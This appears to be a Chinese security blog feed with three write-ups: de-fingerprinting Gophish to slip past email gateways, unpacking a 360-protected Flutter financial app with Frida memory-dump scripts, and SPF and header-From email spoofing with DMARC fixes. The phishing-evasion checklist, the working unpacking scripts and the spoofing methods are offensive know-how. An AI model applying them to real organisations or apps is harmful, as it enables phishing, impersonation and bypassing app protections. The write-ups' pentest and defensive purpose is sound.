e/image/pixel.png?id=3DsjD8aL5'/></body>
</html>
--19113fa76cd08a4921899ebabc4b1adbfbcd7f2cb0964b712285166d846d--

--337f355fdc260123f5a0e811b70e9912d69cb4accd7b39373081259e7a4e
Content-Disposition: inline; filename="4279681432.png"
Content-ID: <4279681432.png>
Content-Transfer-Encoding: base64
Content-Type: image/png; name="4279681432.png"

iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==
--337f355fdc260123f5a0e811b70e9912d69cb4accd7b39373081259e7a4e--

‍```

AI分析如下：

开始大批量的进行安全测试：

‍

0x07 后记

这次从0到1的绕过之旅，历时4天，最终完成这个需求。

随着AI技术的发展，邮件网关的检测能力会越来越强。下一步的研究方向可能包括：

利用合法平台（如Google Docs、OneDrive）进行跳转
转向SMS钓鱼（Smishing）等其他渠道

安全对抗是一场永无止境的竞赛。保持学习，持续创新。

附录

A. Gophish改造Checklist

- [ ] 移除 config.go 中的 ServerName
- [ ] 修改 models/email_request.go
  - [ ] 删除 X-Gophish-* 头
  - [ ] 伪造 X-Mailer
  - [ ] 添加业务邮件头
- [ ] 修改 models/campaign.go
  - [ ] 将 RecipientParameter 改为 "id"
- [ ] 修改 webhook/webhook.go
  - [ ] 重命名 SignatureHeader
- [ ] 修改 controllers/route.go
  - [ ] 混淆 /track 路由
  - [ ] 混淆 /report 路由
- [ ] 修改 controllers/phish.go
  - [ ] 实现 FakeNginx404
  - [ ] 添加 QR code 生成端点（可选）
- [ ] 修改 static/ 和 templates/
  - [ ] 重命名 gophish.css → app.css
  - [ ] 更新所有引用
- [ ] 测试构建和运行

B. 参考资源

Gophish官方资源

Gophish二次开发与改造

Sprocket Security - Customizing Gophish - 详细介绍Gophish去指纹化改造方法
EvilGoPhish - Gophish与Evilginx3集成方案，支持MFA绕过
sneaky_gophish - Docker化的隐蔽Gophish部署方案
FreeBuf - Gophish钓鱼平台二次开发 - 二维码替换功能实现
CSDN - 基于Gophish的钓鱼渗透测试平台 - 平台化二次开发思路

Evilginx与MFA绕过

Evilginx2 官方GitHub - 高级中间人钓鱼框架
Evilginx3 文档 - 最新版本使用指南
outpost24 - Evilginx与Gophish组合使用 - 红队钓鱼基础设施搭建

邮件网关绕过技术

红队钓鱼实战

Red Team Cafe - Phishing Infrastructure - 红队钓鱼基础设施搭建
HackenProof - Advanced Phishing Techniques - 高级钓鱼技术
腾讯安全 - 钓鱼演练工具Gophish部署 - 企业钓鱼演练实践

END

‍

记一次失败的逆向Android 16+数字加固+FlutterAPP踩坑

Sun, 25 Jan 2026 00:00:00 GMT

这篇文章是我对近期分析“某金融”APP（v5.x 版本）的全过程复盘。

事先声明：本人完全没有搞过 Android 逆向，仅仅也只是会用工具的初学者，有很多内容和想法都在 AI 的辅助下完成，避免不了出现勘误，感激不尽。

本次逆向的背景极其特殊：目标运行在 Android 16 系统上，使用了 Frida 17.5.1，且 APP 不仅加了 360 强力壳，核心业务逻辑还是基于 Flutter 开发的。

这就导致了一个有趣的现象：我原本准备好的“Java 层脱壳三板斧”全部失效，被迫转战 Native 层，最后还要解决高版本安卓的权限和环境问题。为了防止自己（或者后来的读者）忘掉这些基础操作，我也把最基础的环境搭建步骤记录在了第一部分。

分析目标： Android APP

运行环境：Google Pixel (Android 16), Magisk Root

工具链：Frida 17.5.1, Blutter, SoFixer, JADX, Kali

第一阶段：常规开局与基础脱壳教程

拿到 APK 后，查壳确认为 360 加固。按照惯例，面对一代或二代壳，最快的办法就是利用 frida-dexdump 从内存中暴力搜索并导出 DEX 文件。

1.1 基础工具：frida-dexdump 使用指南

虽然这次在这个 APP 上栽了跟头，但这套流程对付大多数普通加固非常有效，这里先做一个备忘录。

原理：

360 加固虽然会加密本地的 DEX 文件，但在 APP 运行时，必须把 DEX 解密加载到内存中给虚拟机执行。frida-dexdump 就是利用 Frida 脚本在内存中搜索 DEX 文件的特征头（dex\n035），然后把它“扣”出来。

这对于对付一代壳（整体加固）非常有效，对于部分二代壳（函数抽取）也能把整体结构 Dump 下来（虽然方法体可能是空的）。

以下是详细的使用步骤：

1. 环境准备 (至关重要)

在使用 frida-dexdump 之前，你必须确保你的 Frida 环境是通的。

PC 端：
- 安装 Frida 工具包：pip3 install frida-tools
- 安装 DexDump：pip3 install frida-dexdump
手机/模拟器端：
- 手机需要 Root。
- 手机里必须运行 frida-server，且版本最好与 PC 端的 Frida 版本一致。
- 确保 ADB 连接正常 (adb devices 能看到设备)。

2. 基本使用模式

frida-dexdump 支持两种主要模式：Spawn（启动模式） 和 Attach（附加模式） 。

模式 A：附加模式 (推荐)

适用于应用已经运行，或者你需要手动绕过一些启动时的检测后再进行 Dump。

在手机上手动打开目标 App，让它停留在主界面（此时壳代码通常已经运行完毕，DEX 已解密加载到内存）。
在电脑终端运行命令：
Bash

# -U 表示连接 USB 设备
# -F 表示自动附加到当前最前端显示的 App (Front-most)
frida-dexdump -U -F

或者指定包名/进程名： Bash

frida-dexdump -U -n <App包名或进程名>

模式 B：启动模式 (Spawn)

适用于 App 启动速度很快，或者你需要在 App 启动的一瞬间就介入。但对于强壳，Spawn 模式容易被反调试检测到。

Bash

# -f 后跟包名，会自动重启 App 并注入
frida-dexdump -U -f com.example.targetapp

3. 常用参数详解

-o <路径> (Output): 指定导出的 DEX 文件保存的文件夹。如果不写，默认会以包名在当前目录生成文件夹。
-d (Deep Search): 深度搜索模式。如果普通模式 Dump 不全或者找不到，加上这个参数。它会扫描更多内存段，速度会慢一些，但更全面。
--sleep <秒数>: 在启动 App 后等待多少秒再开始 Dump。有些壳解密比较慢，可以设置延时等待解密完成。

4. 结果分析

运行成功后，终端会显示类似 [INFO] DexSize=xxxx, SavePath=... 的日志。

打开生成的文件夹。
你会看到多个 .dex 文件（如 classes.dex, classes2.dex...）。
如何辨别哪个是原本的 DEX？
- 看大小：通常最大的那个，或者几 MB 大小的，是业务逻辑所在的 DEX。
- 使用工具查看：使用 Jadx 打开这些 DEX 文件。
  - 如果看到包名是 com.qihoo.util 或类似的，那是壳的代码。
  - 如果看到了目标 App 的真实包名和业务代码，那就是脱壳成功了。

5. frida-dexdump注意事项

使用 frida-dexdump 可能会遇到以下情况：

能 Dump 出结构，但方法是空的 (nop) ：这是因为有些加密壳使用了函数抽取技术。DEX 文件结构在内存里是完整的，但是具体的方法指令（Code Item）在执行前是空的，只有执行该方法时才临时解密填入，执行完又抹掉。
- 表现：用 Jadx 打开 Dump 出来的 DEX，能看到类名和方法名，但点进方法看代码时，全是空的或者只有 return。
- 对策：这时候 frida-dexdump 就不够用了，通常需要使用更高级的基于 ART 运行时的主动调用工具（如 FART、Youpk 等）来通过遍历调用所有函数强行触发解密。
反调试导致闪退：如果运行 frida-dexdump 时 App 闪退，说明被检测到了。
- 对策：你需要先用 Frida 脚本（如 frida-il2cpp-bridge 带的 bypass 或者是专门的 Anti-Anti-Frida 脚本）去过掉反调试，或者使用魔改版的 frida-server (hluda)。

总结

frida-dexdump 是脱壳的第一板斧。不管什么壳，先用它跑一遍（建议加 -d 参数）。运气好能直接拿代码；运气不好（遇到抽取壳），也能拿到完整的类结构，为后续分析打下基础。

环境准备：

PC 端：
手机端：
- 手机必须 Root。
- 手机里运行 frida-server（版本必须和电脑端的 frida-tools 一致）。
- 确保 ADB 连接正常 (adb devices 能看到设备)。

操作步骤：

在手机上点击打开目标 APP，让它停留在主界面。
在电脑终端输入命令（推荐使用附加模式，比较稳）：
如果成功，工具会在当前目录下生成一个以包名命名的文件夹，里面就是脱下来的 .dex 文件。

预期结果：在文件夹中生成一堆 .dex 文件。实际结果：终端直接报红，进程崩溃。

ERROR:frida-dexdump:[-] Error: access violation accessing 0x70316bc000

为什么会失败？

这是 Android 16 新特性与 360 加固对抗的产物。

内存权限收紧：Android 16 对内存页的权限管理极其严格。
加固对抗：360 加固在解密 DEX 后，故意将这段内存页的权限设置为 “仅执行” (x) 或 “不可读” 。
冲突：当 frida-dexdump 试图通过 readByteArray 去读取这段内存时，因为没有 r (Read) 权限，触发了系统的 Access Violation（访问违规），导致脚本或应用崩溃。

0x02 破局：手写脚本“暴力”提权

既然标准工具因为“权限不足”读不到，接下来思路很明确：我是 Root 用户，我可以在读取之前，强行修改内存权限。

我编写了一个自定义的 Frida 脚本 dump_force.js。

核心逻辑

利用 Process.enumerateRanges 遍历所有内存段。
利用 Memory.scan 暴力搜索 DEX 文件头魔法数 64 65 78 0a (dex\n)。
关键步骤：在读取之前，使用 Memory.protect 将该内存段强制改为 rwx (可读可写可执行)。
读取数据并保存到 SD 卡。

完整代码实现

// dump_force.js - 暴力修改权限脱壳脚本

function write_dex(ptr, len, index) {
    // 保存路径：/sdcard/Download/，方便后续 adb pull
    var filename = "/sdcard/Download/dump_" + ptr + "_" + len + ".dex";
    var file = new File(filename, "wb");
    
    try {
        // 尝试直接读取（如果是普通的内存段）
        var buffer = ptr.readByteArray(len);
        file.write(buffer);
        console.log("[*] 正常读取成功: " + filename);
    } catch (e) {
        // 捕获 Access Violation 错误
        console.log("[-] 读取受阻 (360保护)，准备暴力破拆权限...");
        
        try {
            // 【核心操作】强行修改内存页权限为 rwx
            // ptr: 内存起始地址
            // len: 大小
            Memory.protect(ptr, len, 'rwx');
            
            // 再次尝试读取
            var buffer = ptr.readByteArray(len);
            file.write(buffer);
            console.log("[+] 权限修改成功！文件已抢救: " + filename);
        } catch (e2) {
            console.log("[!] 彻底失败，可能是内核级保护或无效地址: " + e2);
        }
    }
    file.close();
}

function scan_dex() {
    console.log("[*] 开始全内存暴力扫描 DEX 头...");
    
    // 遍历所有“可读”内存段 (r--)，这通常是 DEX 存放的区域
    // 如果 360 把 DEX 藏在不可读区域，这里参数可以改为 '---' 或 'r-x'
    Process.enumerateRanges('r--').forEach(function (range) {
        try {
            // 搜索 DEX 特征头: dex\n (64 65 78 0a)
            // 360 可能会抹掉版本号(035)，所以只搜前4个字节
            Memory.scan(range.base, range.size, "64 65 78 0a", {
                onMatch: function (address, size) {
                    // 简单的校验：DEX 文件偏移 0x20 处存放了文件大小
                    try {
                        var dex_size = address.add(0x20).readUInt();
                        
                        // 过滤掉太小的垃圾数据 (小于 100KB)
                        if (dex_size > 100000 && dex_size < 50000000) {
                            console.log("[+] 发现 DEX 魔法数: " + address + " 大小: " + dex_size);
                            // 执行导出
                            write_dex(address, dex_size, address.toString());
                        }
                    } catch (e) {}
                },
                onError: function (reason) {},
                onComplete: function () {}
            });
        } catch (e) {}
    });
}

setImmediate(scan_dex);

执行结果

运行命令 frida -U -F -l dump_force.js 后，终端刷出了一片绿色的 [+] 权限修改成功。

随后我使用 adb pull /sdcard/Download/ . 将文件拉回电脑，得到了几个关键文件：

dump_0x70316bc000.dex (约 8MB)
dump_0x7031655480.dex (约 6.7MB)

这一步，战胜了 Android 16 的权限限制，拿到了加密后的内存镜像。

0x03 迷雾：看起来完美的“空壳”

由于是从内存 dump 的，文件头部的 Checksum（校验和）通常是错的。直接拖入 JADX 会报错。

我编写了一个简单的 Python 脚本修复了校验和，然后将那个 8MB 的 DEX 文件拖入 JADX。

import zlib
import struct
import os
import glob

def fix_dex_checksum(filename):
    with open(filename, 'rb') as f:
        data = bytearray(f.read())

    # DEX 文件至少要有头部信息
    if len(data) < 12:
        print(f"[-] {filename} is too small, skipping.")
        return

    # 1. 修复文件长度 (FileSize) - Offset 32 (0x20), 4 bytes
    # 有些 dump 下来的文件长度可能和 header 里的不一样，顺便修了
    file_size = len(data)
    struct.pack_into('<I', data, 32, file_size)

    # 2. 修复签名 (Signature) - Offset 12 (0xC), 20 bytes (SHA-1)
    # JADX 有时候不校验签名只校验 checksum，但为了保险，标准修复通常会做 SHA1
    # 3. 修复校验和 (Checksum) - Offset 8 (0x8), 4 bytes
    # 校验范围：从 offset 12 开始到文件结束
    # 算法：Adler-32
    ignored_part = data[0:12]
    checksum_part = data[12:]
    
    new_checksum = zlib.adler32(checksum_part) & 0xFFFFFFFF
    
    # 将新的 checksum 写入 offset 8 (小端序)
    struct.pack_into('<I', data, 8, new_checksum)

    # 保存覆盖原文件
    with open(filename, 'wb') as f:
        f.write(data)
    
    print(f"[+] Fixed Checksum for: {filename}")

# 扫描当前目录下所有的 dump_force 开头的 dex
dex_files = glob.glob("dump_force_*.dex")

if not dex_files:
    print("No dump_force_*.dex files found in current directory.")
else:
    print(f"Found {len(dex_files)} dex files. Fixing...")
    for dex in dex_files:
        try:
            fix_dex_checksum(dex)
        except Exception as e:
            print(f"[-] Error fixing {dex}: {e}")

    print("Done! Try opening them in JADX now.")

JADX 成功反编译了，左侧的包结构非常清晰：

android.support.*
com.qihoo.util.* (壳代码)
cn.com.ljzxx.* (目标包名)

但当我兴奋地点开 cn.com.ljzxxc 下的业务类时，傻眼了：

Java

// LoginActivity.java
public class LoginActivity extends Activity {
    public void onCreate(Bundle bundle) {
        // 空的！或者只有一行 super.onCreate(bundle);
    }
    
    public void login() {
        // 空的！
    }
}

所有的方法体要么是空的，要么全是 nop 指令，要么只有简单的 return。

这里的思考

这非常符合 “二代壳（函数抽取/类抽取）” 的特征。

原理：加固厂商把 DEX 里的具体指令（Code Item）抽走了，填入空数据。只有当这个方法被真正调用时，壳的代码才会拦截执行流，从别的地方（通常是加密的 bin 文件）解密出指令，填回去，执行完再抹掉。
结论：我 Dump 下来的是“未填充”的骨架。

0x04 挣扎：FART 主动调用的死胡同

既然是“用时恢复”，那破解思路就是 “主动触发” 。这就是著名的 FART (Fast Android Art Unpacker) 原理。

只要我写个脚本，把 APP 里所有的类加载一遍，把所有函数都“摸”一遍，壳就不得不解密代码，我再趁机 Dump。

我编写了一个基于 Frida 的 FART 模拟脚本 fart_memory.js：

// fart_memory.js - 模拟 FART 主动调用
Java.perform(function() {
    console.log("[*] 开始遍历内存中的类...");
    
    // 1. 遍历所有已加载的类
    Java.enumerateLoadedClasses({
        onMatch: function(name) {
            // 过滤：只处理目标包名
            if (name.startsWith("cn.com.ljzitc")) {
                console.log("[*] 尝试预热类: " + name);
                try {
                    // 2. 强行加载类
                    var clazz = Java.use(name);
                    // 3. 反射获取所有方法，触发壳的解密逻辑
                    var methods = clazz.class.getDeclaredMethods();
                    console.log("    - 触发解密成功，方法数: " + methods.length);
                } catch (e) {
                    console.log("    - 失败: " + e);
                }
            }
        },
        onComplete: function() {
            console.log("[SUCCESS] 遍历结束，请立刻 Dump！");
        }
    });
});

结果令人绝望：

脚本运行后，只打印出了寥寥无几的几个类：

cn.com.ljzitc.R$id
cn.com.ljzitc.R$layout
cn.com.ljzitc.BuildConfig

根本没有 LoginActivity，没有 Utils，没有任何业务类

这意味着这些核心类根本没有被加载到 Java 虚拟机中，或者 360 用了某种（如自定义 ClassLoader）把它们从 enumerateLoadedClasses 的列表中隐藏了。

我随后尝试了更底层的 Java.choose("dalvik.system.DexFile", ...) 去扫描堆内存，结果因为 Android 16 移除了相关 API 而报错。

0x05 结果：方向错了！

我在 Java 层折腾了整整一天，尝试了脱壳、修复、主动调用、内存扫描，结果依然是一具空壳。

疑点：如果核心代码都被抽取了且没加载，那现在的 APP 界面是谁在跑？登录框是谁画出来的？

我重新审视了那个 8MB 的 DEX 文件。虽然代码是空的，但我决定看看里面的字符串常量池。

我用 strings 命令（或记事本）搜索文件内容，突然，一行不起眼的路径映入眼帘：

/data/app/~~xxx/cn.com.ljzitc.../lib/arm64/libapp.so

libapp.so？这是一个非标准的 SO 命名。

我立刻解压了原始 APK，打开 lib/arm64-v8a/ 目录。

那一刻，真相大白：

libflutter.so   <-- 引擎
libapp.so       <-- 业务代码

这是一个 Flutter 应用！

最终结论

为什么 DEX 是空的？ 因为 Flutter 应用的业务逻辑（Dart 代码）是 AOT 编译成机器码放在 libapp.so 里的。DEX 里只有 Java 层的启动引导代码，本来就没多少东西。
360 保护了什么？ 360 确实加了壳，但它主要保护的是 Java 层（虽然没啥用）和 加密了 libapp.so。
我的错误：我一直在试图脱掉它的衣服找肉体，结果发现衣服下面是机械骨骼,完全就是搞错对象了。

下一步行动：

放弃 DEX，放弃 FART。

目标锁定：libapp.so。我们需要从内存中 Dump 出这个文件，然后进行 Dart 逆向。

我们将视角从 Java 层的死胡同拉出来，正式进入 Native 层与 Flutter 虚拟机的深水区。这一部分的战斗更加硬核，涉及到内存黑洞、环境依赖地狱以及指针修正等底层细节。

历经千辛万苦利用暴力提权脚本 Dump 出了 DEX 文件，结果发现全是空壳。通过分析文件残留字符串，我确认这是一个 Flutter 应用。真正的业务逻辑藏在 Native 层的 libapp.so 中。

~~现在的任务很明确：~~~~拿到~~ ~~~~libapp.so~~~~ ~~->~~ ~~还原 Dart 代码 ->~~ ~~Hook 获取明文。~~

但这在 Android 16 + 360 加固的组合拳下，比我想象的难得多。

第二阶段:0x01 尝试1：提取 libapp.so 的三大难关

360 加固对 SO 文件的保护通常是“压缩 + 加密 + 内存加载”。直接解压 APK 得到的是加密文件，必须从内存中 Dump。

写了一个 Frida 脚本去 Dump，结果脚本刚跑起来就崩了。

难关一：API 的“失踪”

在 Android 16 上，Frida 常用的 Module.findBaseAddress("libapp.so") 竟然抛出了 TypeError: not a function 或者找不到模块。

原因：Android 16 对 Linker 做了一些改动，导致 Frida 的部分上层 API 兼容性出现问题。

解决：我被迫使用了更底层的 Process.findModuleByName("libapp.so")，这个 API 依然坚挺。

难关二：内存“黑洞”

解决了基址问题后，我尝试读取整个 SO 文件大小的内存 (readByteArray(module.size))。结果脚本再次崩溃，报错 Access Violation。

原因：360 加固，它加载 SO 后，会把 ELF 头（Header）或者某些不用的 Section 所在的内存页取消映射或者设为不可读。试图一口气读完整个文件，只要碰到这几页“黑洞”，就会引发崩溃。

对策：分块容错读取（Chunked Dump）

我重写了脚本，像切香肠一样，每次只读 4KB（一页）。

读到了？写入文件。
读不到（报错）？填入 4KB 的 0x00 占位，跳过这一页。
这样既保证了文件不崩，又保证了偏移量（Offset）不乱——这对后续分析至关重要。

难关三：无处安放的“家”

脚本想把文件写到 /data/local/tmp，结果报错 Permission denied。

原因：Android 16 的 SELinux 策略到了变态的地步，普通 APP 进程（Frida 注入后属于 APP 进程）根本无权写入这个公共目录。

解决：利用 Java 反射获取 APP 自己的私有目录 getFilesDir()，回自己家写文件总没人管了吧！

🎯 最终成果脚本 (`dump_so_final.js`)

var target_so = "libapp.so";

Java.perform(function() {
    // 1. 兼容性查找模块
    var module = Process.findModuleByName(target_so);
    
    // 2. 获取私有目录路径 (Android 16 避坑)
    var currentApp = Java.use("android.app.ActivityThread").currentApplication();
    var save_path = currentApp.getApplicationContext().getFilesDir().getAbsolutePath() + "/" + target_so + ".dump";
    var file = new File(save_path, "wb");

    // 3. 分块抗崩溃读取
    var currentPtr = module.base;
    var remaining = module.size;
    var pageSize = 4096;

    console.log("[*] 开始分块提取，遇到坏块自动填0...");
    while (remaining > 0) {
        try {
            var buffer = currentPtr.readByteArray(pageSize);
            file.write(buffer);
        } catch (e) {
            // 遇到 360 挖的坑，填 0 补齐，保持偏移量正确
            file.write(new Uint8Array(pageSize).buffer);
        }
        currentPtr = currentPtr.add(pageSize);
        remaining -= pageSize;
    }
    file.close();
    console.log("[Success] 提取完成！路径: " + save_path);
});

运行脚本后，我通过 Root 权限将这个 13MB 的文件从私有目录 cp 到了 SD 卡，终于把它拿到了电脑上。

‍

0x02 尝试2：Blutter 与环境的配置

拿到了 libapp.so.dump，但这只是二进制机器码（Dart AOT Snapshot）。如果不还原符号，这就跟看天书一样。我需要 Blutter 帮我把机器码翻译回 Dart 伪代码。

Windows 环境的“劝退”

我首先在 Windows 上尝试运行 Blutter。

CMake Error: 找不到编译器。
Ninja not found: 找不到构建工具。
最绝望的是 Failed to find all ICU components。Dart VM 的编译依赖 ICU 库，在 Windows 上配置这个简直是噩梦。

决策：不要在 Windows 上浪费生命配置环境。

果断打开了 kali。Linux 下配环境只需要一行命令：

Bash

# 一键安装所有编译依赖
sudo apt update && sudo apt install -y ninja-build build-essential cmake pkg-config libicu-dev git

修复与分析

因为文件是从内存 Dump 的，ELF 头部是损坏的，直接喂给 Blutter 会报错。

修复头：使用 SoFixer 工具：SoFixer -s libapp.so.dump -o libapp.so。
准备引擎：从原始 APK 解压出 libflutter.so。
开始分析：python3 blutter.py input output。

看着 kali 终端里滚动的进度条，我知道稳了。

几分钟后，output/asm 目录下出现了一堆熟悉的文件名：

loginPwd.dart
encrypt.dart
Authentication.dart

打开 loginPwd.dart，我不仅看到了逻辑结构，还看到了关键信息：

‍

0x03 最终：我没辙了

准备动态加载 JS 呢进行调试呢。搞来搞去怎么样也不对，登录之后获取 hexdump 获取不到明文的返回，放弃了。
~~我本身抓包的参数就是明文，一开始的出发点也只是审计代码漏洞，没想到越跑越歪。~~

发现后面有些困难了，中间丢失了一些图和内容。。我也忘记了。

总之坑点在于，看到 Flutter 后，就干脆跑路吧，Flutter 编译后，只能 hook 二进制流 dump 出来。

这玩意可能无解了，这还加固什么劲?

‍

📝 复盘总结

回看整个过程，如果一开始我就知道它是 Flutter，我完全可以跳过第一章和第二章的几十个小时折腾。

这次逆向最大的教训是：不要在错误的战场浪费时间。

识别架构：如果 DEX 脱出来是空的，第一时间检查 lib 目录有没有 libflutter.so 或 libcocos.so。如果是 Flutter，直接放弃 Java 层分析。
环境适配：Android 16 对 Frida 的兼容性很不友好。当标准 API (Module.findBaseAddress) 失效时，要灵活尝试底层 API (Process)。当公共目录写不进去时，要想到利用 App 的私有目录。
工具链组合：Frida (动态提取) + SoFixer (修复头) + Blutter (还原符号) 。

有关SPF邮件信息伪造的内容

Fri, 02 Jan 2026 00:00:00 GMT

为什么我能假冒你们 CEO 发邮件？（即便你以此为豪配置了 SPF）

很简单的一件事，就是客户的域名配置了SPF，但是给的是软策略，基本上邮件都能通过，今天被监管通报了。

大概差不多就是这样吧，图是我后面补的。

关于邮件这一块我也了解得不深，基本不会遇到这种有效的漏洞，这次恰好测试就干脆记录一下。

有关SPF的查询，可以到这里进行：https://www.site24x7.cn/zhcn/tools/spf-validator.html

‍

状态会有4种，大概解释一下。

这四个符号（-, ~, ?, +）被称为 SPF 限定符 (Qualifiers)，它们决定了“当发信 IP 不在允许列表中时，接收方该怎么处理”。

我们可以把邮件服务器比作小区的保安，IP 地址就是访客的身份证。

SPF的四种状态码

1. Hard Fail

-all

含义：硬拒绝。只有列表里的 IP 能发，其他的全是伪造，直接拒收。
保安视角：“我手里有一份白名单。只有名单上的人能进。**所有不在名单上的人，直接拿棍子打出去！**连门都不让进。”
后果：邮件直接被 SMTP 层级拒绝（550 Error），发件人会收到退信。
举例：
- 配置：

v=spf1 ip4:1.1.1.1 -all

- **攻击**：黑客用 IP

2.2.2.2

伪造邮件。

- **结果**：QQ/Gmail 服务器说：“你不是 1.1.1.1，并且策略是 -all，**滚**。”

2. Soft Fail

~all

含义：软拒绝。不在列表里的 IP 也能发，但会被标记为“可疑”或垃圾邮件。
保安视角：“我手里有白名单。不在名单上的人...我想拦，但我老板（管理员）怕拦错了客户。行吧，你进去吧，但我在你背上贴个条子：‘此人可疑’ 。”
后果：邮件会被接收，但极大概率进入垃圾箱，或者显示红色警告。
举例：
- 配置：

v=spf1 ip4:1.1.1.1 ~all

- **攻击**：黑客用 IP

2.2.2.2

伪造邮件。

- **结果**：能够发送成功，但受害者的收件箱里会显示“此邮件可能不是由 info@domain.com 发送的”，或者直接躺在垃圾箱里。这是目前互联网最常见的配置（为了防止误杀）。

3. Neutral

?all

含义：中立。不做任何声明。不管 IP 在不在列表里，我都“不置可否”。
保安视角：“我手里没有名单，或者说我懒得管。你是谁？我不知道。能不能进？你自己问屋里人去。 ”
后果：SPF 检查结果是 Neutral，邮件通常会被放行进入收件箱（除非内容本身太像垃圾邮件）。这等于配置了个寂寞。
举例：
- 配置：

v=spf1 ip4:1.1.1.1 ?all

- **攻击**：黑客用 IP

2.2.2.2

伪造邮件。

- **结果**：大摇大摆进入收件箱，不做任何拦截。

4. Allow All

+all

含义：全通过。任何 IP 都是合法的发件人。
保安视角：“大门敞开！谁都可以进！ 面具人、强盗、骗子，统统欢迎！”
后果：任何黑客都可以完美伪造你的域名，且 SPF 检查结果是 PASS。
举例：
- 配置：

v=spf1 +all

(极少见，除非是测试或者蜜罐)

- **攻击**：黑客用 IP

2.2.2.2

伪造邮件。

- **结果**：邮件不仅进了收件箱，而且系统还告诉用户“这封邮件是通过 SPF 安全验证的哦”。**这是极度危险的配置错误。**

‍

| 符号 | 模式 | 伪造难度 | 后果 | 推荐度 | | --- | --- | --- | --- | --- | | -all | Hard Fail | ⭐⭐⭐⭐⭐ (极高) | 直接拒收 | 推荐 (只要确保 IP 没漏填) | | ~all | Soft Fail | ⭐⭐⭐ (一般) | 进垃圾箱 | 过渡期推荐 | | ?all | Neutral | ⭐ (极低) | 进收件箱 | 不推荐 | | +all | Pass | ☠️ (无) | SPF Pass | 绝对禁止 |

很遗憾的就是客户设置的就是 ~all 导致邮箱伪造发信人通过。

后来测试已经-all。

另外一种绕过可能：

我们域名早在八百年前就配了 SPF v=spf1 ... -all，硬拒绝策略！稳得很。

真的如此吗？

虽然 -all 防御了直接的 SPF 欺骗，但作为安全工程师，你必须知道单纯的 SPF -all 依然存在被绕过的可能，这就是为什么还需要 DMARC。

绕过场景（Header From 欺骗）： 如果攻击者稍微聪明一点，使用以下配置发送邮件：

Envelope From (信封发件人/Return-Path) : attacker@evil-domain.com (攻击者自己的域名，且攻击者IP在 evil-domain.com 的 SPF 允许列表中 —— SPF 检查通过)
Header From (邮件头显示的发件人) : admin@baidu.com (你的域名)

结果：

邮件接收方检查 Envelope From 的 SPF，结果是 PASS（因为查的是攻击者的域名）。
用户在客户端里看到的却是 admin@baidu.com。
结论：如果没有配置 DMARC 来强制要求“Header From”和“Envelope From”保持一致，SPF -all 也无法防御这种“挂羊头卖狗肉”的欺骗。

在邮件协议这个古老的世界里，有时候“看大门的”和“前台接待”根本不是一伙人。

其实这也是很常见的一种邮件代发策略，简单扒一扒这个让绕过思路。

1. 邮件协议的“精神分裂”

要理解这个漏洞，你得先知道一个冷知识：SMTP 协议是 40 多年前设计的。那个年代的互联网全是君子，大家互相信任，压根没考虑过有人会撒谎。

所以，SMTP 在设计上把“信封”和“信纸”完全分开了。

信封上的发件人 (Envelope Sender) ：这是给邮局（邮件服务器）看的，用来决定退信退给谁。
- 技术黑话叫 MAIL FROM 。
信纸上的落款 (Header From) ：这是给收信人（你我）看的，显示在 outlook 或手机屏幕上。
- 技术黑话叫 From 。

漏洞就在这儿： 现有的 SPF 检查，就像是一个看大门的保安。他非常尽职，但他只检查信封。只要快递员（发送方服务器）拿的信封是合法的（比如我用网易账号发信，信封写的是网易，网易服务器当然认可），保安就放行了：“进去吧，没毛病。”

至于信封里面的信纸上，落款写的是“马化腾”还是“丁磊”，保安压根不看。

这就是为什么我能绕过你的 SPF：

我的信封：用我的网易账号 (XXXX@163.com) —— SPF 检查通过！ (因为我确实拥有这个账号)
我的信纸：写上你们公司 CEO 的名字 (admin@baidu.com) —— 用户被骗！

这就叫“挂羊头卖狗肉”。

2. 红队视角：花式绕过姿势

其实，只要你没上 DMARC，你在红队眼里基本就是裸奔。除了上面这种最经典的“信头欺骗”，我们还有很多好玩的手段。

姿势一：“我帮朋友代发”

当你用 Outlook 或者手机收邮件时，有时候会看到一行灰色小字：“由 xxx 代发”。这是邮件客户端良心发现，看到了信封和信纸不一致，特意提醒你。

这种提醒也可以通过注册相近域名自建SMTP解决。

姿势二：视觉欺骗

如果你的防御真的滴水不漏（上了 DMARC p=reject），那我就不攻击你的域名了，我去注册一个 baidu.com.cn（把中间的 i 换成 l）。在手机那么小的屏幕上，加上紧张的工作节奏，有几个人能一眼看出来？这种域名我自己注册的，SPF、DMARC 全套我都配齐，正规得不能再正规了，当然这是后话了。

3. 怎么修？

别再迷信 SPF -all 了，他不完全起作用。

要想真正关上这扇门，你得凑齐邮件安全套：

DKIM (防篡改) ：这就好比给信封加了个封泥。发信时服务器用私钥盖个章，收信时验证一下。这样别人就不能在中途偷偷改你的邮件内容了。
DMARC (终极BOSS) ：这才是解决“信封信纸不一致”的唯一解药。 DMARC 就像是给保安下了一道死命令： “必须拆开信封检查！如果信纸上的落款跟信封对不上，直接把信给我撕了！”
- 建议配置：v=DMARC1; p=reject; aspf=s; adkim=s;
- 注意：别上来就 Reject，不然你们公司的市场部发不出去邮件会来砍你。先开 p=none 观察几天，再慢慢收紧。

4. 总结一句

邮件安全其实不难，难的是很多人还在用几十年前的老眼光看问题。 信任是脆弱的。 在这个零信任的时代，永远不要相信“发件人”那一行字，除非 DMARC 告诉你：它是真的。

‍

提供一个我写的测试脚本：

import dns.resolver
import smtplib
import argparse
import sys
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formatdate, formataddr
from email.header import Header

def check_spf(domain):
    """
    检查目标域名的 SPF 记录
    """
    print(f"[*] 正在检查域名: {domain}")
    try:
        answers = dns.resolver.resolve(domain, 'TXT')
        spf_record = None
        for rdata in answers:
            txt_string = rdata.to_text().strip('"')
            if 'v=spf1' in txt_string:
                spf_record = txt_string
                break
        
        if spf_record:
            print(f"[+] 发现 SPF 记录: {spf_record}")
            return spf_record
        else:
            print("[-] 未发现 SPF 记录。域名可能容易受到欺骗攻击。")
            return None
    except Exception as e:
        print(f"[-] DNS 查询失败 (可能无记录): {e}")
        return None

def analyze_spf(spf_record):
    """
    分析 SPF 记录的安全性
    """
    print("\n--- SPF 策略分析 ---")
    if not spf_record:
        print("[-] 未发现 SPF 记录: 极其危险！任何人都可以伪造该域名的邮件。")
        return True # 无记录，易受攻击

    if "-all" in spf_record:
        print("[*] 策略模式: Hard Fail (-all)")
